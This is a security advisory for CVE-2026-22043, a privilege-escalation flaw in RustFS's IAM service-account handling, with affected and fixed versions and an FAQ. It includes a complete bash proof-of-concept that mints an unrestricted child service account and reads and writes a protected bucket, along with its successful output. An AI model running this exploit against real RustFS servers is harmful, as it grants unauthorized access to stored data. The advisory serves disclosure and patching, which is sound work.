CVE-2026-22043: RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting
Summary
A flawed denyonly short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.
Details
akin to MinIO CVE-2025-62506
- Policy evaluation: Policy::isallowed returns true when denyonly=true if no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74). - Service account creation path sets denyonly=true when the target user equals the caller or its parent (rustfs/src/admin/handlers/serviceaccount.rs:114-127). - Service accounts are created without sessionpolicy by default, so claims lack SESSIONPOLICYNAME; combined with denyonly, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.
Key code references:
- crates/policy/src/policy/policy.rs (denyonly short-circuit) - rustfs/src/admin/handlers/serviceaccount.rs: (denyonly set for self/parent target) - crates/iam/src/sys.rs (service account creation defaults, no sessionpolicy)
PoC
Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:
bash #!/usr/bin/env bash set -euo pipefail
===================== Config ===================== ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}" ROOTAK="${ROOTAK:-rustfsadmin}" ROOTSK="${ROOTSK:-rustfsadmin}" PARENTAK="${PARENTAK:-restricted}" PARENTSK="${PARENTSK:-restricted123}" CHILDAK="${CHILDAK:-evilchild}" CHILDSK="${CHILDSK:-evilchild123}" AWSREGION="${AWSREGION:-us-east-1}"
Tools AWSCURLBIN="${AWSCURLBIN:-$HOME/Library/Python/3.13/bin/awscurl}" AWSBIN="${AWSBIN:-aws}" JQBIN="${JQBIN:-jq}"
Disable proxies for local endpoint export HTTPPROXY= export HTTPSPROXY= export NOPROXY=127.0.0.1,localhost
===================== Helpers ===================== awscmd() { local ak="$1" sk="$2" shift 2 AWSACCESSKEYID="$ak" AWSSECRETACCESSKEY="$sk" "$AWSBIN" --endpoint-url "$ENDPOINT" "$@" }
awscurladmin() { local ak="$1" sk="$2" shift 2 AWSACCESSKEYID="$ak" AWSSECRETACCESSKEY="$sk" \ "$AWSCURLBIN" --service s3 --region "$AWSREGION" --accesskey "$ak" --secretkey "$sk" "$@" }
timestampiso() { python - <<'PY' import datetime print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat()) PY }
===================== Cleanup ===================== echo "[+] cleanup service accounts (ignore errors)" for ak in "$CHILDAK" "$PARENTAK"; do awscurladmin "$ROOTAK" "$ROOTSK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true done
echo "[+] cleanup buckets" for b in bucket1 bucket2 bucket3; do awscmd "$ROOTAK" "$ROOTSK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true done
===================== Setup ===================== echo "[+] create buckets" for b in bucket1 bucket2 bucket3; do awscmd "$ROOTAK" "$ROOTSK" s3 mb "s3://$b" || true done
echo "[+] seed bucket3 with marker object" printf "poc-marker\n" | awscmd "$ROOTAK" "$ROOTSK" s3 cp - s3://bucket3/poc-marker.txt
EXP="$(timestampiso)"
echo "[+] create restricted policy" RESTRICTEDPOLICY='{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["s3:ListBucket"], "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"] }, { "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": ["arn:aws:s3:::bucket1/", "arn:aws:s3:::bucket2/"] } ] }'
echo "[+] create restricted service account" awscurladmin "$ROOTAK" "$ROOTSK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQBIN" -nc --arg ak "$PARENTAK" --arg sk "$PARENTSK" --arg policy "$RESTRICTEDPOLICY" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \ > /tmp/restrictedsa.json cat /tmp/restrictedsa.json
echo "[+] list buckets as restricted (expect bucket1,bucket2 only)" awscmd "$PARENTAK" "$PARENTSK" s3 ls
echo "[+] create child service account without policy (trigger denyonly)" awscurladmin "$PARENTAK" "$PARENTSK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQBIN" -nc --arg ak "$CHILDAK" --arg sk "$CHILDSK" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \ > /tmp/childsa.json cat /tmp/childsa.json
echo "[+] child tries to list bucket3 (should be denied; success means vuln)" if awscmd "$CHILDAK" "$CHILDSK" s3 ls s3://bucket3; then echo "child list bucket3: SUCCESS (vuln)" else echo "child list bucket3: DENIED" fi
echo "[+] child tries to read marker from bucket3" if awscmd "$CHILDAK" "$CHILDSK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then echo "child read marker: SUCCESS (vuln). Content:" cat /tmp/poc-marker.txt else echo "child read marker: DENIED" fi
echo "[+] child tries to write new object into bucket3" if printf "child-write\n" | awscmd "$CHILDAK" "$CHILDSK" s3 cp - s3://bucket3/child-write.txt; then echo "child write: SUCCESS (vuln)" else echo "child write: DENIED" fi
PoC steps (in poc.sh):
1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt. 2) Create restricted policy (List/Get/Put only on bucket1/2). 3) Create restricted service account restricted/restricted123 with that policy. 4) With restricted, create child service account evilchild/evilchild123 without policy (denyonly short-circuit). 5) With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.
Result:
text ./poc.sh [+] cleanup service accounts (ignore errors) [+] cleanup buckets [+] create buckets makebucket: bucket1 makebucket: bucket2 makebucket: bucket3 [+] seed bucket3 with marker object [+] create restricted policy [+] create restricted service account {"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] list buckets as restricted (expect bucket1,bucket2 only) 2025-12-16 18:51:16 bucket1 2025-12-16 18:51:16 bucket2 [+] create child service account without policy (trigger denyonly) {"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] child tries to list bucket3 (should be denied; success means vuln) 2025-12-16 18:51:17 11 poc-marker.txt child list bucket3: SUCCESS (vuln) [+] child tries to read marker from bucket3 download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt child read marker: SUCCESS (vuln). Content: poc-marker [+] child tries to write new object into bucket3 child write: SUCCESS (vuln)
Impact
Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.
Other sources
RustFS is a distributed object storage system built in Rust. In versions 1.0.0-alpha.13 through 1.0.0-alpha.78, a flawed denyonly short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions. Version 1.0.0-alpha.79 fixes the issue.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-22043?
CVE-2026-22043 has a high severity due to its potential to allow unauthorized access through self-issued service accounts.
How do I fix CVE-2026-22043?
To mitigate CVE-2026-22043, upgrade RustFS to a version later than 1.0.0-alpha.78.
What versions of RustFS are affected by CVE-2026-22043?
CVE-2026-22043 affects RustFS versions from 1.0.0-alpha.13 to 1.0.0-alpha.78.
What is the main issue with CVE-2026-22043?
CVE-2026-22043 includes a flaw in the IAM system that allows restricted service accounts to gain unrestricted access.
Is there a patch available for CVE-2026-22043?
Yes, a patch is implemented in versions of RustFS released after 1.0.0-alpha.78.